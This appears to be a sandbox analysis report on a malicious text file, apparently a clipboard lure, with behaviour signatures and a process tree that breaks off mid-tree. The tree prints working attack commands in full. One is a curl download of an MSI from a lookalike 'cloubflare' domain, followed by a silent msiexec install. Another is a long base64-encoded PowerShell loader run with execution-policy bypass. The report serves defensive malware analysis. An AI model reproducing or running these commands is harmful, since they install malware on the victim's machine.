Overview

overview

8

Static

static

1

Nuovo Docu...to.txt

windows11-21h2-x64

8

Nuovo Docu...to.txt

windows11-ltsc_2024-x64

1

Analysis

  • user interaction
    yes
  • max time kernel
    81s
  • max time network
    69s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260911-en
  • resource tags

    arch:x64arch:x86image:win11-20260911-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    17/10/2026, 17:33

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    Nuovo Documento di testo.txt
  • Size 197B
  • Sample261017-v428daxset
  • SHA256 e5337d87ae5f522a57fabf0161364e40426b7e63f39a0919912bb8617120f973
  • MD5 SHA1 SHA512 TLSH
Score
8/10
discoveryexecution

Malware Config

Signatures

  • Badlisted process makes network request 5 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Suspicious clipboard content. 6 IoCs

    A suspicious script was copied to clipboard.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

    execution
  • Enumerates connected drives 3 TTPs 23 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Looks up external IP address via web service 1 TTPs 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

    discovery
  • Drops file in Windows directory 12 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 3 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

    execution
  • Modifies registry class 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 9 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\Nuovo Documento di testo.txt"
    1⤵
    • Executes a command shell one-liner
    • Modifies registry class
    • Suspicious use of WriteProcessMemory
    PID:5296
    • C:\Windows\system32\NOTEPAD.EXE
      "C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\AppData\Local\Temp\Nuovo Documento di testo.txt
      2⤵
      • Suspicious clipboard content.
      PID:4020
  • C:\Windows\system32\cmd.exe
    cmd /c curl.exe -fsL --ssl-no-revoke --retry 8 --retry-connrefused --retry-delay 1 --connect-timeout 20 -o "C:\Users\Admin\AppData\Local\TempS117.msi" https://cloubflare.net/3021
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:4552
    • C:\Windows\system32\curl.exe
      curl.exe -fsL --ssl-no-revoke --retry 8 --retry-connrefused --retry-delay 1 --connect-timeout 20 -o "C:\Users\Admin\AppData\Local\TempS117.msi" https://cloubflare.net/3021
      2⤵
        PID:3344
    • C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe"
      1⤵
      • Suspicious use of WriteProcessMemory
      PID:3356
      • C:\Windows\system32\cmd.exe
        cmd /c curl.exe -fsL --ssl-no-revoke --retry 8 --retry-connrefused --retry-delay 1 --connect-timeout 20 -o "C:\Users\Admin\AppData\Local\TempS117.msi" https://cloubflare.net/3021
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:3652
        • C:\Windows\system32\curl.exe
          curl.exe -fsL --ssl-no-revoke --retry 8 --retry-connrefused --retry-delay 1 --connect-timeout 20 -o "C:\Users\Admin\AppData\Local\TempS117.msi" https://cloubflare.net/3021
          3⤵
            PID:3456
        • C:\Windows\system32\msiexec.exe
          msiexec /i "C:\Users\Admin\AppData\Local\TempS117.msi" /qn /norestart
          2⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:1568
      • C:\Windows\system32\msiexec.exe
        C:\Windows\system32\msiexec.exe /V
        1⤵
        • Enumerates connected drives
        • Drops file in Windows directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:3364
        • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
          WindowsPowerShell\v1.0\powershell.exe -nop -w h -ep bypass -c "$env:J0eYFASJIfM='C:\Users\Admin\AppData\Local\TempS117.msi';&([scriptblock]::Create([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('JABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQA9ACcAUwB0AG8AcAAnADsAaQBmACgALQBuAG8AdAAgACQAZQBuAHYAOgBaAEYAbwA2AEcAYgAwAGMAWgBVAG8AegBVACkAewA7ACQAZQBuAHYAOgBaAEYAbwA2AEcAYgAwAGMAWgBVAG8AegBVAD0AJwAxACcAOwAkAHAASgBpAEoANwBTAEIAPQAoAEcAZQB0AC0AQwBpAG0ASQBuAHMAdABhAG4AYwBlACAAVwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAdABlAHIAIAAiAFAAcgBvAGMAZQBzAHMASQBkAD0AJABQAEkARAAiACkALgBDAG8AbQBtAGEAbgBkAEwAaQBuAGUAOwBBAGQAZAAtAFQAeQBwAGUAIAAtAFQAeQBwAGUARABlAGYAaQBuAGkAdABpAG8AbgAgACcAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0AOwB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAFIAdQBuAHQAaQBtAGUALgBJAG4AdABlAHIAbwBwAFMAZQByAHYAaQBjAGUAcwA7AHAAdQBiAGwAaQBjACAAYwBsAGEAcwBzACAASAA3ADUAMgAwADQANAB7AFsAUwB0AHIAdQBjAHQATABhAHkAbwB1AHQAKABMAGEAeQBvAHUAdABLAGkAbgBkAC4AUwBlAHEAdQBlAG4AdABpAGEAbAAsAEMAaABhAHIAUwBlAHQAPQBDAGgAYQByAFMAZQB0AC4AVQBuAGkAYwBvAGQAZQApAF0AcAB1AGIAbABpAGMAIABzAHQAcgB1AGMAdAAgAFMASQB7AHAAdQBiAGwAaQBjACAAaQBuAHQAIABjAGIAOwBwAHUAYgBsAGkAYwAgAEkAbgB0AFAAdAByACAAcgBlAHMAZQByAHYAZQBkACwAZABlAHMAawB0AG8AcAAsAHQAaQB0AGwAZQA7AHAAdQBiAGwAaQBjACAAaQBuAHQAIAB4ACwAeQAsAHgAcwAsAHkAcwAsAHgAYwAsAHkAYwAsAGYAaQBsAGwALABmAGwAYQBnAHMAOwBwAHUAYgBsAGkAYwAgAHMAaABvAHIAdAAgAHMAaABvAHcALAByAGUAcwBlAHIAdgBlAGQAMgA7AHAAdQBiAGwAaQBjACAASQBuAHQAUAB0AHIAIAByAGUAcwBlAHIAdgBlAGQAMwAsAGkAbgBIACwAbwB1AHQASAAsAGUAcgByAEgAOwB9AFsAUwB0AHIAdQBjAHQATABhAHkAbwB1AHQAKABMAGEAeQBvAHUAdABLAGkAbgBkAC4AUwBlAHEAdQBlAG4AdABpAGEAbAApAF0AcAB1AGIAbABpAGMAIABzAHQAcgB1AGMAdAAgAFAASQB7AHAAdQBiAGwAaQBjACAASQBuAHQAUAB0AHIAIABoAFAAcgBvAGMAZQBzAHMALABoAFQAaAByAGUAYQBkADsAcAB1AGIAbABpAGMAIABpAG4AdAAgAHAAaQBkACwAdABpAGQAOwB9AFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAuAGQAbABsACIALABTAGUAdABMAGEAcwB0AEUAcgByAG8AcgA9AHQAcgB1AGUALABDAGgAYQByAFMAZQB0AD0AQwBoAGEAcgBTAGUAdAAuAFUAbgBpAGMAbwBkAGUAKQBdAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABiAG8AbwBsACAAQwByAGUAYQB0AGUAUAByAG8AYwBlAHMAcwBXACgAcwB0AHIAaQBuAGcAIABhAHAAcAAsAHMAdAByAGkAbgBnACAAYwBtAGQALABJAG4AdABQAHQAcgAgAHAAYQAsAEkAbgB0AFAAdAByACAAdABhACwAYgBvAG8AbAAgAGkAbgBoAGUAcgBpAHQALAB1AGkAbgB0ACAAZgBsAGEAZwBzACwASQBuAHQAUAB0AHIAIABlAG4AdgAsAHMAdAByAGkAbgBnACAAZABpAHIALAByAGUAZgAgAFMASQAgAHMAaQAsAG8AdQB0ACAAUABJACAAcABpACkAOwBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAaQBuAHQAIABSAHUAbgAoAHMAdAByAGkAbgBnACAAYwBvAG0AbQBhAG4AZAApAHsAUwBJACAAcwBpAD0AbgBlAHcAIABTAEkAKAApADsAcwBpAC4AYwBiAD0ATQBhAHIAcwBoAGEAbAAuAFMAaQB6AGUATwBmACgAdAB5AHAAZQBvAGYAKABTAEkAKQApADsAcwBpAC4AZgBsAGEAZwBzAD0AMQA7AFAASQAgAHAAaQA7AHUAaQBuAHQAIABmAGwAYQBnAHMAPQAwAHgAMAA5ADAAMAAwADIAMAAwADsAaQBmACgAIQBDAHIAZQBhAHQAZQBQAHIAbwBjAGUAcwBzAFcAKABuAHUAbABsACwAYwBvAG0AbQBhAG4AZAAsAEkAbgB0AFAAdAByAC4AWgBlAHIAbwAsAEkAbgB0AFAAdAByAC4AWgBlAHIAbwAsAGYAYQBsAHMAZQAsAGYAbABhAGcAcwAsAEkAbgB0AFAAdAByAC4AWgBlAHIAbwAsAG4AdQBsAGwALAByAGUAZgAgAHMAaQAsAG8AdQB0ACAAcABpACkAKQB7AGYAbABhAGcAcwA9ADAAeAAwADgAMAAwADAAMAAwADAAOwBpAGYAKAAhAEMAcgBlAGEAdABlAFAAcgBvAGMAZQBzAHMAVwAoAG4AdQBsAGwALABjAG8AbQBtAGEAbgBkACwASQBuAHQAUAB0AHIALgBaAGUAcgBvACwASQBuAHQAUAB0AHIALgBaAGUAcgBvACwAZgBhAGwAcwBlACwAZgBsAGEAZwBzACwASQBuAHQAUAB0AHIALgBaAGUAcgBvACwAbgB1AGwAbAAsAHIAZQBmACAAcwBpACwAbwB1AHQAIABwAGkAKQApAHIAZQB0AHUAcgBuACAAMAA7AH0AcgBlAHQAdQByAG4AIABwAGkALgBwAGkAZAA7AH0AfQAnADsAaQBmACgAWwBIADcANQAyADAANAA0AF0AOgA6AFIAdQBuACgAJABwAEoAaQBKADcAUwBCACkAIAAtAGcAdAAgADAAKQB7AGUAeABpAHQAIAAwAH0AOwB9ADsAJABHAGcAMQBuADgAYwBLAFAAcAB3AHgAYQBvAGcAPQAkAGUAbgB2ADoASgAwAGUAWQBGAEEAUwBKAEkAZgBNADsAaQBmACgALQBuAG8AdAAgACQARwBnADEAbgA4AGMASwBQAHAAdwB4AGEAbwBnACkAewByAGUAdAB1AHIAbgB9ADsAJABhAG4ANgA0ADgAMQA0ADAAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUgBlAGYAbABlAGMAdABpAG8AbgAuAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACgAJwBOADYANAA4ADEANAAwACcAKQA7ACQAYQBiADYANAA4ADEANAAwAD0AWwBBAHAAcABEAG8AbQBhAGkAbgBdADoAOgBDAHUAcgByAGUAbgB0AEQAbwBtAGEAaQBuAC4ARABlAGYAaQBuAGUARAB5AG4AYQBtAGkAYwBBAHMAcwBlAG0AYgBsAHkAKAAkAGEAbgA2ADQAOAAxADQAMAAsAFsAUgBlAGYAbABlAGMAdABpAG8AbgAuAEUAbQBpAHQALgBBAHMAcwBlAG0AYgBsAHkAQgB1AGkAbABkAGUAcgBBAGMAYwBlAHMAcwBdADoAOgBSAHUAbgApADsAJABtAG8ANgA0ADgAMQA0ADAAPQAkAGEAYgA2ADQAOAAxADQAMAAuAEQAZQBmAGkAbgBlAEQAeQBuAGEAbQBpAGMATQBvAGQAdQBsAGUAKAAnAG0ANgA0ADgAMQA0ADAAJwApADsAJAB0AGIANgA0ADgAMQA0ADAAPQAkAG0AbwA2ADQAOAAxADQAMAAuAEQAZQBmAGkAbgBlAFQAeQBwAGUAKAAnAFQANgA0ADgAMQA0ADAAJwAsAFsAUgBlAGYAbABlAGMAdABpAG8AbgAuAFQAeQBwAGUAQQB0AHQAcgBpAGIAdQB0AGUAcwBdACcAUAB1AGIAbABpAGMALABCAGUAZgBvAHIAZQBGAGkAZQBsAGQASQBuAGkAdAAnACkAOwAkAGEAdAA2ADQAOAAxADQAMAA9AFsAUgBlAGYAbABlAGMAdABpAG8AbgAuAE0AZQB0AGgAbwBkAEEAdAB0AHIAaQBiAHUAdABlAHMAXQAnAFAAdQBiAGwAaQBjACwAUwB0AGEAdABpAGMAJwA7ACQAYwB2ADYANAA4ADEANAAwAD0AWwBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQwBhAGwAbABpAG4AZwBDAG8AbgB2AGUAbgB0AGkAbwBuAHMAXQA6ADoAUwB0AGEAbgBkAGEAcgBkADsAJAB3AG4ANgA0ADgAMQA0ADAAPQBbAFIAdQBuAHQAaQBtAGUALgBJAG4AdABlAHIAbwBwAFMAZQByAHYAaQBjAGUAcwAuAEMAYQBsAGwAaQBuAGcAQwBvAG4AdgBlAG4AdABpAG8AbgBdADoAOgBXAGkAbgBhAHAAaQA7ACQAYQB1ADYANAA4ADEANAAwAD0AWwBSAHUAbgB0AGkAbQBlAC4ASQBuAHQAZQByAG8AcABTAGUAcgB2AGkAYwBlAHMALgBDAGgAYQByAFMAZQB0AF0AOgA6AEEAdQB0AG8AOwAkAHUAbgA2ADQAOAAxADQAMAA9AFsAUgB1AG4AdABpAG0AZQAuAEkAbgB0AGUAcgBvAHAAUwBlAHIAdgBpAGMAZQBzAC4AQwBoAGEAcgBTAGUAdABdADoAOgBVAG4AaQBjAG8AZABlADsAJABhAHMANgA0ADgAMQA0ADAAPQBbAFIAdQBuAHQAaQBtAGUALgBJAG4AdABlAHIAbwBwAFMAZQByAHYAaQBjAGUAcwAuAEMAaABhAHIAUwBlAHQAXQA6ADoAQQBuAHMAaQA7AGYAdQBuAGMAdABpAG8AbgAgAFAASQA2ADQAOAAxADQAMAAoACQAbgAsACQAZABsAGwALAAkAHIAZQB0ACwAJABwAHMALAAkAGMAcwApAHsAJABtAD0AJAB0AGIANgA0ADgAMQA0ADAALgBEAGUAZgBpAG4AZQBQAEkAbgB2AG8AawBlAE0AZQB0AGgAbwBkACgAJABuACwAJABkAGwAbAAsACQAYQB0ADYANAA4ADEANAAwACwAJABjAHYANgA0ADgAMQA0ADAALAAkAHIAZQB0ACwAJABwAHMALAAkAHcAbgA2ADQAOAAxADQAMAAsACQAYwBzACkAOwAkAG0ALgBTAGUAdABJAG0AcABsAGUAbQBlAG4AdABhAHQAaQBvAG4ARgBsAGEAZwBzACgAWwBSAGUAZgBsAGUAYwB0AGkAbwBuAC4ATQBlAHQAaABvAGQASQBtAHAAbABBAHQAdAByAGkAYgB1AHQAZQBzAF0AOgA6AFAAcgBlAHMAZQByAHYAZQBTAGkAZwApAH0AOwBQAEkANgA0ADgAMQA0ADAAIAAnAFYAaQByAHQAdQBhAGwAQQBsAGwAbwBjACcAIAAnAGsAZQByAG4AZQBsADMAMgAuAGQAbABsACcAIAAoAFsASQBuAHQAUAB0AHIAXQApACAAKABbAHQAeQBwAGUAWwBdAF0AQAAoAFsASQBuAHQAUAB0AHIAXQAsAFsAVQBJAG4AdABQAHQAcgBdACwAWwB1AGkAbgB0ADMAMgBdACwAWwB1AGkAbgB0ADMAMgBdACkAKQAgACQAYQB1ADYANAA4ADEANAAwADsAUABJADYANAA4ADEANAAwACAAJwBWAGkAcgB0AHUAYQBsAFAAcgBvAHQAZQBjAHQAJwAgACcAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAJwAgACgAWwBiAG8AbwBsAF0AKQAgACgAWwB0AHkAcABlAFsAXQBdAEAAKABbAEkAbgB0AFAAdAByAF0ALABbAFUASQBuAHQAUAB0AHIAXQAsAFsAdQBpAG4AdAAzADIAXQAsAFsAdQBpAG4AdAAzADIAXQAuAE0AYQBrAGUAQgB5AFIAZQBmAFQAeQBwAGUAKAApACkAKQAgACQAYQB1ADYANAA4ADEANAAwADsAUABJADYANAA4ADEANAAwACAAJwBDAHIAZQBhAHQAZQBUAGgAcgBlAGEAZAAnACAAJwBrAGUAcgBuAGUAbAAzADIALgBkAGwAbAAnACAAKABbAEkAbgB0AFAAdAByAF0AKQAgACgAWwB0AHkAcABlAFsAXQBdAEAAKABbAEkAbgB0AFAAdAByAF0ALABbAFUASQBuAHQAUAB0AHIAXQAsAFsASQBuAHQAUAB0AHIAXQAsAFsASQBuAHQAUAB0AHIAXQAsAFsAdQBpAG4AdAAzADIAXQAsAFsAdQBpAG4AdAAzADIAXQAuAE0AYQBrAGUAQgB5AFIAZQBmAFQAeQBwAGUAKAApACkAKQAgACQAYQB1ADYANAA4ADEANAAwADsAUABJADYANAA4ADEANAAwACAAJwBMAG8AYQBkAEwAaQBiAHIAYQByAHkAQQAnACAAJwBrAGUAcgBuAGUAbAAzADIALgBkAGwAbAAnACAAKABbAEkAbgB0AFAAdAByAF0AKQAgACgAWwB0AHkAcABlAFsAXQBdAEAAKABbAHMAdAByAGkAbgBnAF0AKQApACAAJABhAHMANgA0ADgAMQA0ADAAOwBQAEkANgA0ADgAMQA0ADAAIAAnAEcAZQB0AFAAcgBvAGMAQQBkAGQAcgBlAHMAcwAnACAAJwBrAGUAcgBuAGUAbAAzADIALgBkAGwAbAAnACAAKABbAEkAbgB0AFAAdAByAF0AKQAgACgAWwB0AHkAcABlAFsAXQBdAEAAKABbAEkAbgB0AFAAdAByAF0ALABbAHMAdAByAGkAbgBnAF0AKQApACAAJABhAHMANgA0ADgAMQA0ADAAOwBQAEkANgA0ADgAMQA0ADAAIAAnAE0AcwBpAE8AcABlAG4ARABhAHQAYQBiAGEAcwBlACcAIAAnAG0AcwBpAC4AZABsAGwAJwAgACgAWwB1AGkAbgB0ADMAMgBdACkAIAAoAFsAdAB5AHAAZQBbAF0AXQBAACgAWwBzAHQAcgBpAG4AZwBdACwAWwBJAG4AdABQAHQAcgBdACwAWwB1AGkAbgB0ADMAMgBdAC4ATQBhAGsAZQBCAHkAUgBlAGYAVAB5AHAAZQAoACkAKQApACAAJAB1AG4ANgA0ADgAMQA0ADAAOwBQAEkANgA0ADgAMQA0ADAAIAAnAE0AcwBpAEQAYQB0AGEAYgBhAHMAZQBPAHAAZQBuAFYAaQBlAHcAJwAgACcAbQBzAGkALgBkAGwAbAAnACAAKABbAHUAaQBuAHQAMwAyAF0AKQAgACgAWwB0AHkAcABlAFsAXQBdAEAAKABbAHUAaQBuAHQAMwAyAF0ALABbAHMAdAByAGkAbgBnAF0ALABbAHUAaQBuAHQAMwAyAF0ALgBNAGEAawBlAEIAeQBSAGUAZgBUAHkAcABlACgAKQApACkAIAAkAHUAbgA2ADQAOAAxADQAMAA7AFAASQA2ADQAOAAxADQAMAAgACcATQBzAGkAVgBpAGUAdwBFAHgAZQBjAHUAdABlACcAIAAnAG0AcwBpAC4AZABsAGwAJwAgACgAWwB1AGkAbgB0ADMAMgBdACkAIAAoAFsAdAB5AHAAZQBbAF0AXQBAACgAWwB1AGkAbgB0ADMAMgBdACwAWwB1AGkAbgB0ADMAMgBdACkAKQAgACQAYQB1ADYANAA4ADEANAAwADsAUABJADYANAA4ADEANAAwACAAJwBNAHMAaQBWAGkAZQB3AEYAZQB0AGMAaAAnACAAJwBtAHMAaQAuAGQAbABsACcAIAAoAFsAdQBpAG4AdAAzADIAXQApACAAKABbAHQAeQBwAGUAWwBdAF0AQAAoAFsAdQBpAG4AdAAzADIAXQAsAFsAdQBpAG4AdAAzADIAXQAuAE0AYQBrAGUAQgB5AFIAZQBmAFQAeQBwAGUAKAApACkAKQAgACQAYQB1ADYANAA4ADEANAAwADsAUABJADYANAA4ADEANAAwACAAJwBNAHMAaQBSAGUAYwBvAHIAZABSAGUAYQBkAFMAdAByAGUAYQBtACcAIAAnAG0AcwBpAC4AZABsAGwAJwAgACgAWwB1AGkAbgB0ADMAMgBdACkAIAAoAFsAdAB5AHAAZQBbAF0AXQBAACgAWwB1AGkAbgB0ADMAMgBdACwAWwB1AGkAbgB0ADMAMgBdACwAWwBJAG4AdABQAHQAcgBdACwAWwBpAG4AdAAzADIAXQAuAE0AYQBrAGUAQgB5AFIAZQBmAFQAeQBwAGUAKAApACkAKQAgACQAYQB1ADYANAA4ADEANAAwADsAUABJADYANAA4ADEANAAwACAAJwBNAHMAaQBDAGwAbwBzAGUASABhAG4AZABsAGUAJwAgACcAbQBzAGkALgBkAGwAbAAnACAAKABbAHUAaQBuAHQAMwAyAF0AKQAgACgAWwB0AHkAcABlAFsAXQBdAEAAKABbAHUAaQBuAHQAMwAyAF0AKQApACAAJABhAHUANgA0ADgAMQA0ADAAOwAkAG0AegAyAHgAMwBTAGEAeABVAGwAZQBUAGIAPQAkAHQAYgA2ADQAOAAxADQAMAAuAEMAcgBlAGEAdABlAFQAeQBwAGUAKAApADsAJABJAG4AQQBBAHMAUwBoAHEARAAxAEQARQAzAD0AJwBLAFMAegBGAFkAZwBnAFEAegBaAEgAUgAnADsAJABkAGIAOQAxADcANgA9AFsAdQBpAG4AdAAzADIAXQAwADsAJABjADMANAA4ADYAPQAkAG0AegAyAHgAMwBTAGEAeABVAGwAZQBUAGIAOgA6AE0AcwBpAE8AcABlAG4ARABhAHQAYQBiAGEAcwBlACgAJABHAGcAMQBuADgAYwBLAFAAcAB3AHgAYQBvAGcALABbAEkAbgB0AFAAdAByAF0AOgA6AFoAZQByAG8ALABbAHIAZQBmAF0AJABkAGIAOQAxADcANgApADsAaQBmACgAJABjADMANAA4ADYAIAAtAG4AZQAgADAAKQB7AHQAaAByAG8AdwAgACcAbwBwAGUAbgAnAH0AOwAkAHYAdwAxADEANwA3AD0AWwB1AGkAbgB0ADMAMgBdADAAOwAkAHIAYwA5ADAANAA2AD0AWwB1AGkAbgB0ADMAMgBdADAAOwB0AHIAeQB7ADsAJABrADgANwA4ADAAPQBbAGMAaABhAHIAXQA5ADYAOwAkAHEANwAzADUAMQA9ACcAUwBFAEwARQBDAFQAIAAnACsAJABrADgANwA4ADAAKwAnAEQAYQB0AGEAJwArACQAawA4ADcAOAAwACsAJwAgAEYAUgBPAE0AIAAnACsAJABrADgANwA4ADAAKwAnAEIAaQBuAGEAcgB5ACcAKwAkAGsAOAA3ADgAMAArACcAIABXAEgARQBSAEUAIAAnACsAJABrADgANwA4ADAAKwAnAE4AYQBtAGUAJwArACQAawA4ADcAOAAwACsAIgA9ACcAIgArACQASQBuAEEAQQBzAFMAaABxAEQAMQBEAEUAMwAuAFIAZQBwAGwAYQBjAGUAKAAiACcAIgAsACIAJwAnACIAKQArACIAJwAiADsAJABjADMANAA4ADYAPQAkAG0AegAyAHgAMwBTAGEAeABVAGwAZQBUAGIAOgA6AE0AcwBpAEQAYQB0AGEAYgBhAHMAZQBPAHAAZQBuAFYAaQBlAHcAKAAkAGQAYgA5ADEANwA2ACwAJABxADcAMwA1ADEALABbAHIAZQBmAF0AJAB2AHcAMQAxADcANwApADsAaQBmACgAJABjADMANAA4ADYAIAAtAG4AZQAgADAAKQB7AHQAaAByAG8AdwAgACcAdgBpAGUAdwAnAH0AOwAkAGMAMwA0ADgANgA9ACQAbQB6ADIAeAAzAFMAYQB4AFUAbABlAFQAYgA6ADoATQBzAGkAVgBpAGUAdwBFAHgAZQBjAHUAdABlACgAJAB2AHcAMQAxADcANwAsAFsAdQBpAG4AdAAzADIAXQAwACkAOwBpAGYAKAAkAGMAMwA0ADgANgAgAC0AbgBlACAAMAApAHsAdABoAHIAbwB3ACAAJwBlAHgAZQBjACcAfQA7ACQAYwAzADQAOAA2AD0AJABtAHoAMgB4ADMAUwBhAHgAVQBsAGUAVABiADoAOgBNAHMAaQBWAGkAZQB3AEYAZQB0AGMAaAAoACQAdgB3ADEAMQA3ADcALABbAHIAZQBmAF0AJAByAGMAOQAwADQANgApADsAaQBmACgAJABjADMANAA4ADYAIAAtAG4AZQAgADAAKQB7AHQAaAByAG8AdwAgACcAZgBlAHQAYwBoACcAfQA7ACQAbgA2ADcAOQAwAD0AWwBpAG4AdAAzADIAXQAwADsAJABjADMANAA4ADYAPQAkAG0AegAyAHgAMwBTAGEAeABVAGwAZQBUAGIAOgA6AE0AcwBpAFIAZQBjAG8AcgBkAFIAZQBhAGQAUwB0AHIAZQBhAG0AKAAkAHIAYwA5ADAANAA2ACwAWwB1AGkAbgB0ADMAMgBdADEALABbAEkAbgB0AFAAdAByAF0AOgA6AFoAZQByAG8ALABbAHIAZQBmAF0AJABuADYANwA5ADAAKQA7AGkAZgAoACQAYwAzADQAOAA2ACAALQBuAGUAIAAwACkAewB0AGgAcgBvAHcAIAAnAGwAZQBuACcAfQA7ACQAcAA0ADAAMwAzAD0AWwBSAHUAbgB0AGkAbQBlAC4ASQBuAHQAZQByAG8AcABTAGUAcgB2AGkAYwBlAHMALgBNAGEAcgBzAGgAYQBsAF0AOgA6AEEAbABsAG8AYwBIAEcAbABvAGIAYQBsACgAWwBpAG4AdABdACQAbgA2ADcAOQAwACkAOwB0AHIAeQB7ADsAJABnADMANwAyADcAPQBbAGkAbgB0ADMAMgBdACQAbgA2ADcAOQAwADsAJABjADMANAA4ADYAPQAkAG0AegAyAHgAMwBTAGEAeABVAGwAZQBUAGIAOgA6AE0AcwBpAFIAZQBjAG8AcgBkAFIAZQBhAGQAUwB0AHIAZQBhAG0AKAAkAHIAYwA5ADAANAA2ACwAWwB1AGkAbgB0ADMAMgBdADEALAAkAHAANAAwADMAMwAsAFsAcgBlAGYAXQAkAGcAMwA3ADIANwApADsAaQBmACgAJABjADMANAA4ADYAIAAtAG4AZQAgADAAKQB7AHQAaAByAG8AdwAgACcAcgBlAGEAZAAnAH0AOwAkAGEAegBMAHcAQQBXAEsAMQBEAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAGIAeQB0AGUAWwBdACAAKABbAGkAbgB0AF0AJABnADMANwAyADcAKQA7AFsAUgB1AG4AdABpAG0AZQAuAEkAbgB0AGUAcgBvAHAAUwBlAHIAdgBpAGMAZQBzAC4ATQBhAHIAcwBoAGEAbABdADoAOgBDAG8AcAB5ACgAJABwADQAMAAzADMALAAkAGEAegBMAHcAQQBXAEsAMQBEACwAMAAsAFsAaQBuAHQAXQAkAGcAMwA3ADIANwApADsAfQBmAGkAbgBhAGwAbAB5AHsAWwBSAHUAbgB0AGkAbQBlAC4ASQBuAHQAZQByAG8AcABTAGUAcgB2AGkAYwBlAHMALgBNAGEAcgBzAGgAYQBsAF0AOgA6AEYAcgBlAGUASABHAGwAbwBiAGEAbAAoACQAcAA0ADAAMwAzACkAfQA7AH0AZgBpAG4AYQBsAGwAeQB7ADsAaQBmACgAJAByAGMAOQAwADQANgAgAC0AbgBlACAAMAApAHsAWwB2AG8AaQBkAF0AJABtAHoAMgB4ADMAUwBhAHgAVQBsAGUAVABiADoAOgBNAHMAaQBDAGwAbwBzAGUASABhAG4AZABsAGUAKAAkAHIAYwA5ADAANAA2ACkAfQA7AGkAZgAoACQAdgB3ADEAMQA3ADcAIAAtAG4AZQAgADAAKQB7AFsAdgBvAGkAZABdACQAbQB6ADIAeAAzAFMAYQB4AFUAbABlAFQAYgA6ADoATQBzAGkAQwBsAG8AcwBlAEgAYQBuAGQAbABlACgAJAB2AHcAMQAxADcANwApAH0AOwBbAHYAbwBpAGQAXQAkAG0AegAyAHgAMwBTAGEAeABVAGwAZQBUAGIAOgA6AE0AcwBpAEMAbABvAHMAZQBIAGEAbgBkAGwAZQAoACQAZABiADkAMQA3ADYAKQA7AH0AOwAkAEkAbgBBAEEAcwBTAGgAcQBEADEARABFADMAPQBbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABhAHoATAB3AEEAVwBLADEARAApADsAJgAoAFsAcwBjAHIAaQBwAHQAYgBsAG8AYwBrAF0AOgA6AEMAcgBlAGEAdABlACgAJABJAG4AQQBBAHMAUwBoAHEARAAxAEQARQAzACkAKQA='))))"
          2⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of WriteProcessMemory
          PID:5544
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
            "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\3mi1kuxw\3mi1kuxw.cmdline"
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:5780
            • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
              C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES9783.tmp" "c:\Users\Admin\AppData\Local\Temp\3mi1kuxw\CSCF36DCDD64CF54C04A2F5DA18F31FEB73.TMP"
              4⤵
                PID:5752
            • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
